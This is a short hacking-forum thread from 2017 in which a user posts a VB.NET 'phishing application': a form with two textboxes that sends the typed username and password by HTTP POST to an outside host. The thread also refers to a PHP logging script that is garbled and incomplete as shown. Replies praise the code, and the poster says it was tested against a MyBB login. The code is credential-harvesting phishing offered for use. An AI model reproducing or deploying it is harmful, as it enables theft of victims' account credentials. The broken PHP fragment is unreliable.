vb.net phishing application - Printable Version +- Red Security (https://redsecurity.info/cc) +-- Forum: Programming (https://redsecurity.info/cc/forumdisplay.php?fid=5) +--- Forum: Visual Basic & .NET Framework (https://redsecurity.info/cc/forumdisplay.php?fid=17) +--- Thread: vb.net phishing application (/showthread.php?tid=74) |
vb.net phishing application - viruss - 06-20-2017 what is need 2 textboxes and a button web server required PHP Code: <?php url to log.txt Imports System.Net Imports System.Text Imports System.IO Public Class Form1 Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click Dim errorString As String = "Test String" Dim postData = "user_Name= " & TextBox1.Text & vbCrLf Dim postData1 = "Password= " & TextBox2.Text Dim request As WebRequest = WebRequest.Create("http://darktown.comeze.com/i.php?") request.Credentials = CredentialCache.DefaultCredentials CType(request, HttpWebRequest).UserAgent = "Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)" request.Method = "POST" Dim byteArray As Byte() = Encoding.ASCII.GetBytes(postData + postData1) request.ContentType = "application/x-www-form-urlencoded" request.ContentLength = byteArray.Length Dim dataStream As Stream = request.GetRequestStream() dataStream.Write(byteArray, 0, byteArray.Length) dataStream.Close() Dim response As WebResponse = request.GetResponse() 'dataStream = response.GetResponseStream() Console.WriteLine(CType(response, HttpWebResponse).StatusDescription) dataStream = response.GetResponseStream() Dim reader As New StreamReader(dataStream) Dim responseFromServer As String = reader.ReadToEnd() reader.Close() dataStream.Close() response.Close() Debug.Print(responseFromServer) Try Catch ex As Exception MsgBox(ex.Message.ToString) End Try End Sub End Class RE: vb.net phishing application - Mr.Kurd - 06-20-2017 Thanks bro Keep it up RE: vb.net phishing application - viruss - 06-21-2017 (06-20-2017, 09:55 PM)Mr.Kurd Wrote: Thanks bro Works in vb.net mybb login ass well been tested RE: vb.net phishing application - Mr.Kurd - 06-21-2017 (06-21-2017, 02:03 AM)viruss Wrote:(06-20-2017, 09:55 PM)Mr.Kurd Wrote: Thanks bro Nice, Keep it up but change the style |